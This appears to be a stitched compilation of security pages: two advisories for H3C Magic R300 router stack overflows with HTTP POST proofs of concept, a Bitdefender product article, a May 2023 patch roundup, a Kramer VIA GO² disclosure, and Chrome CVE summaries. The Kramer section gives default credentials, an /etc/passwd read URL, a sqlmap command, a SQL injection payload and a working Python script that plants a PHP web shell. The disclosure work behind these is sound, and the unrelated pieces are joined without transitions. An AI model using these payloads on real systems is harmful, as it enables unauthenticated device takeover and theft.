H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the EditvsList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the EditvsList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the EditvsList interface at /goform/aspForm. ## Vulnerability Details In function EditvsList(sub\_461110),the size of local variable v8 is noly 20 bytes long.Parameters in the EditvsList interface use the getElement function to split strings(Var). !\[\](https://i.imgur.com/EDd6YXO.png) !\[\](https://i.imgur.com/XbagQem.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/0cGTbgK.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2032 CMD=EditvsList&param=;;;;;;;;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33630: H3C Magic R300-2100M was discovered stack overflow via the EditvsList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateWanParams interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the UpdateWanParams interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateWanParams interface at /goform/aspForm. ## Vulnerability Details In the UpdateWanParams function, variable v27 is 64 bytes long. !\[\](https://i.imgur.com/WDK3g9I.png) !\[\](https://i.imgur.com/q54GVPx.png) V24 can be controlled by attacker, entered as parameter 'param'. !\[\](https://i.imgur.com/RYbrKEX.png) In line 55, v24 is formatted into v27 by function sscanf as long as the size of the data we enter is less than 512 bytes. So when the size of the data we enter is larger than the size of V27 and less than 512 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/qRxLceC.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG=; UPGRADE\_SOURCE= Connection: close Content-Length: 536 CMD=UpdateMacClone&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/x0dsbUP.png) And you can write your own exp to get the root shell.

CVE-2023-33633: H3C Magic R300-2100M was discovered stack overflow via the UpdateWanParams interface at /goform/aspForm - HackMD

By Habiba Rashid
According to Bitdefender, GravityZone Security for Mobile is a cutting-edge solution that leverages powerful antimalware technologies driven by real-time threat intelligence and machine learning.
This is a post from HackRead.com Read the original post: Bitdefender Introduces GravityZone Security for Android, iOS, and Chromebook

Bitdefender has launched GravityZone Security for Mobile, a next-generation mobile security solution designed to provide organizations with advanced Mobile Threat Detection (MTD) and robust security measures for Android, iOS, and Chromebook devices.

From communication and banking to entertainment and productivity, smartphones have become integral to our daily lives. However, this increasing reliance on mobile devices has also made them lucrative targets for cybercriminals.

According to the 2023 “Market Guide for Mobile Threat Defense” report by Gartner®, recent cyber attacks have shown the involvement of mobile devices at various stages, emphasizing the critical need for advanced mobile threat detection solutions.

**Bitdefender Introduces GravityZone Security**

Bitdefender’s GravityZone Security for Mobile is a cutting-edge solution that leverages powerful antimalware technologies driven by real-time threat intelligence and machine learning.

This unique combination enables the detection and mitigation of both known and unknown mobile threats. By providing application vetting, device status monitoring, and protection against malicious apps and phishing attacks, GravityZone Security for Mobile significantly enhances the overall security posture of mobile devices.

**Proactively Defending Against Network-Based Threats**

One major vulnerability faced by mobile phones is network-based threats. GravityZone Security for Mobile helps organizations detect and respond to these threats, including reconnaissance attempts and man-in-the-middle attacks. By mapping tactics and techniques used in security evaluations, this solution offers a proactive defence against sophisticated attacks specifically targeted at the mobile channel.

**Comprehensive Device Assessments for Strengthening Mobile Security**

Mobile device vulnerabilities pose significant risks to organizations. GravityZone Security for Mobile conducts comprehensive device assessments, monitoring for missing encryption, jailbreaking, root access, and outdated devices. This proactive approach enables organizations to identify and address vulnerabilities promptly, bolstering their mobile security.

**Seamless Integration and Centralized Management**

Integration with existing security solutions is vital for comprehensive protection. GravityZone Security for Mobile seamlessly integrates with the unified Bitdefender GravityZone console, allowing organizations to manage mobile security alongside other endpoint security solutions. This integration extends security beyond traditional endpoints, simplifying the overall security infrastructure and enabling centralized management.

**Cloud-Based and User-Friendly Approach**

With a cloud-based and user-friendly approach, GravityZone Security for Mobile ensures easy deployment and management for organizations with mobile workforces. Its zero-touch enrollment feature streamlines mass deployments of mobile devices, enhancing security without burdening end-users.

**Meeting Regulatory Compliance Standards**

Regulatory compliance is a top concern for organizations in regulated industries. GravityZone Security for Mobile provides real-time visibility, enabling application vetting, detecting abnormal app behaviour, and enforcing application version control. By facilitating user warnings, isolating risky applications, and taking necessary actions, organizations can meet privacy and security standards more effectively.

**Conclusion:**

As the mobile threat landscape continues to evolve, organizations must enhance their mobile phone security. Bitdefender’s GravityZone Security for Mobile offers a comprehensive solution that effectively tackles mobile threats head-on.

By leveraging advanced technology, proactive defense mechanisms, and seamless integration, organizations can ensure the security and privacy of their mobile devices, safeguarding their operations from evolving cyber threats.

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I’m a student and cybersecurity writer. On a random Sunday, I am likely to be figuring out life and reading Kafka.

Bitdefender Introduces GravityZone Security for Android, iOS, and Chromebook

Plus: Microsoft patches two zero-day flaws, Google’s Android and Chrome get some much-needed updates, and more.

Apple, Google, and Microsoft have released major patches this month to fix multiple security flaws already being used in attacks. May was also a critical month for enterprise software, with GitLab, SAP, and Cisco releasing fixes for multiple bugs in their products.

Here’s everything you need to know about the security updates released in May.

Apple iOS and iPadOS 16.5

Apple has released its long-awaited point update iOS 16.5, addressing 39 issues, three of which are already being exploited in real-life attacks. The iOS upgrade patches vulnerabilities in the Kernel at the heart of the operating system and in WebKit, the engine that powers the Safari browser. The three already exploited flaws are among five fixed in WebKit—tracked as CVE-2023-32409, CVE-2023-28204, and CVE-2023-32373.

CVE-2023-32409 is an issue that could allow an attacker to break out of the Web Content sandbox remotely, reported by Clément Lecigne of Google's Threat Analysis Group and Donncha Ó Cearbhaill of Amnesty International’s Security Lab. CVE-2023-28204 is a flaw that risks a user disclosing sensitive information. Finally, CVE-2023-32373 is a use-after-free bug that could enable arbitrary code execution.

Earlier in the month, Apple released iOS 16.4.1 (a) and iPadOS 16.4.1 (a)—the iPhone maker’s first-ever Rapid Security Response update—fixing the latter two exploited WebKit vulnerabilities also patched in iOS 16.5.

Apple iOS and iPadOS 16.5 were issued alongside iOS 15.7.6 and iPadOS 15.7.6 for older iPhones, as well as iTunes 12.12.9 for Windows, Safari 16.5, macOS Big Sur 11.7.7, macOS Ventura 13.4, and macOS Monterey 12.6.6.

Apple also released its first security update for Beats and AirPods headphones.

Microsoft

Microsoft’s mid-month Patch Tuesday fixed 40 security issues, two of which were zero-day flaws already being used in attacks. The first zero-day vulnerability, CVE-2023-29336, is an elevation-of-privilege bug in the Win32k driver that could allow an attacker to gain System privileges.

The second serious flaw, CVE-2023-24932, is a Secure Boot security feature bypass issue that could allow a privileged attacker to execute code. “An attacker who successfully exploited this vulnerability could bypass Secure Boot,” Microsoft said, adding that the flaw is difficult to exploit: “Successful exploitation of this vulnerability requires an attacker to compromise admin credentials on the device.”

The security update is not a full fix: It addresses the vulnerability by updating the Windows Boot Manager, which could cause issues, the company warned. Additional steps are required at this time to mitigate the vulnerability, Microsoft said, pointing to steps affected users can take to mitigate the issue.

Google Android

Google has released its latest Android security patches, fixing 40 flaws, including an already exploited Kernel vulnerability. The updates also include fixes for issues in the Android Framework, System, Kernel, MediaTek, Unisoc, and Qualcomm components.

The most severe of these issues is a high-severity security vulnerability in the Framework component that could lead to local escalation of privilege, Google said, adding that user interaction is needed for exploitation.

Previously linked to commercial spyware vendors, CVE-2023-0266 is a Kernel issue that could lead to local escalation of privilege. User interaction is not needed for exploitation.

Apple's iOS 16.5 Fixes 3 Security Bugs Already Used in Attacks

KramerAV VIA GO² < 4.0.1.1326 is vulnerable to Unauthenticated arbitrary file read.

**Introduction**

Kramer VIA GO² devices were vulnerable to multiple issues, including:

*   Unauthenticated arbitrary file read (CVE-2023-33507)
*   Unauthenticated SQLi (Squeely) (CVE-2023-33509)
*   Unauthenticated file upload resulting in RCE (CVE-2023-33508)

By chaining with previously discovered privilege escalation through misconfigured Sudo rules (CVE-2021-35064), it was possible to completely take over a device from an unauthenticated standpoint.

Throughout the disclosure process, Kramer have been exceedingly helpful and responsive. They were quick to confirm the issues and release a patch that fully resolves the issues.

**What is a Kramer VIA GO²?**

> VIA GO² gives iOS, Android, Chromebook, PC, and Mac users instant wireless connectivity with 4K advanced presentation capabilities. Kramer’s new VIA 4.0 is all about the end user. The new VIA application UI is intuitive, user-friendly and much easier to use. VIA 4.0 enables any user, including guests, to easily and securely connect and automatically disconnect at the end of the session.

After finding a device with default credentials (su:supass), it was discovered that it was possible to upload a font with an arbitrary extension and no content restrictions. This meant it was possible to upload a font which is actually a PHP script with the extension .php. Once the path on disk was found, visiting directly in a browser would execute the PHP file and allow a user to perform commands on the underlying operating system. From there, we created a dump of the available web application/PHP source code. The code was protected using IONCube, however this was bypassed using commonly available tools such as easytoyou.eu.

Available handlers were reviewed for issues and the three high severity vulnerabilities were discovered. It is likely that there are more within the codebase, and our audit of the code was in no way exhaustive.

After reviewing the latest firmware for these devices (4.0.1.1326), we noted that the handlers were _not_ included with the Debian package. The file runpkg.sh, which is run as part of the update process, contained the following commands:

    ...
    rm -rf /var/www/html/downloadRecording.php
    rm -rf /var/www/html/downloadMedia.php
    rm -rf /var/www/html/UploadWallpaper.php
    ...
    

This indicates that these endpoints should be removed by a firmware update.

While the firmware itself is password protected, simply by decoding the source code the decryption password was discovered.

**Proofs of concepts****Unauthenticated file read (CVE-2023-33507)**

The following endpoint allowed for the contents of arbitrary files on the file system to be retrieved:

*   http://XXX/downloadRecording.php?file=/etc/passwd

**Unauthenticated SQLi (CVE-2023-33509)**

This could be exploited with the following sqlmap command:

    sqlmap -u 'https://XXX/downloadMedia.php?medId=*' --dbms mysql --risk 3 --level 5 --technique B --threads 10
    

As an added bonus, the contents of arbitrary files could be obtained with the following payload:

*   https://XXX/downloadMedia.php?medId=-1+UNION+SELECT+"/../../../../etc/passwd"

**Unauthenticated RCE via File Upload (CVE-2023-33508)**

This issue can quickly be identified by attempting to access the endpoint:

*   http://XXX/UploadWallpaper.php

If this handler returns the message “Please enter the image to upload” it is very likely to be vulnerable.

The following Python payload can be used to obtain RCE:

    import requests
    import sys
    from urllib3.exceptions import InsecureRequestWarning
    
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    SHELL = '<html><head><title>babyshell</title></head><body><pre><?php echo $_REQUEST["cmd"]; ?></pre><br/><pre><?php echo system($_REQUEST["cmd"]); ?></pre></body></html>'
    
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target.com|1.2.3.4>")
        exit(1)
    
    target = sys.argv[1]
    
    url = f'https://{target}/UploadWallpaper.php'
    
    print("Uploading shell")
    
    resp = requests.post(url, files={'data': ('zx.php', SHELL)}, verify=False)
    
    if "Image added sucessfull" not in resp.text:
        print("Shell failed to upload")
        exit(1)
    
    print("Shell uploaded. Checking shell")
    
    url = f"https://{target}/uploads/large/zx.php"
    resp = requests.get(url, verify=False)
    if "Minishell" not in resp.text:
        print("Shell failed")
        exit(1)
    
    print("Shell available at:", url)
    

**Potential Impact**

Complete device compromise is possible, either via the RCE or obtaining user passwords via the Squeely.

**How to Fix It**

First update to version 4.0, then apply version 4.0.1.1326 or later.

**Vulnerability Disclosure Timeline:**

*   21/02/2023 Disclosed issue to CERT NZ
*   09/03/2023 Response from Vendor
*   17/03/2023 Vendor released patched firmware to ZX. ZX identified that the patch removes the vulnerable endpoints.
*   31/05/2023 CVEs assigned

CVE-2023-33507: Kramer VIA GO² - ZX Security

Inappropriate implementation in Picture In Picture in Google Chrome prior to 114.0.5735.90 allowed a remote attacker who had compromised the renderer process to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: Medium)

CVE-2023-2938

Inappropriate implementation in Downloads in Google Chrome prior to 114.0.5735.90 allowed an attacker who convinced a user to install a malicious extension to bypass file access restrictions via a crafted HTML page. (Chromium security severity: Medium)

CVE-2023-2940

CVE-2023-2937

Insufficient data validation in Installer in Google Chrome on Windows prior to 114.0.5735.90 allowed a local attacker to perform privilege escalation via crafted symbolic link. (Chromium security severity: Medium)

CVE-2023-2939

Use after free in PDF in Google Chrome prior to 114.0.5735.90 allowed a remote attacker to potentially exploit heap corruption via a crafted PDF file. (Chromium security severity: High)

Tag

#chrome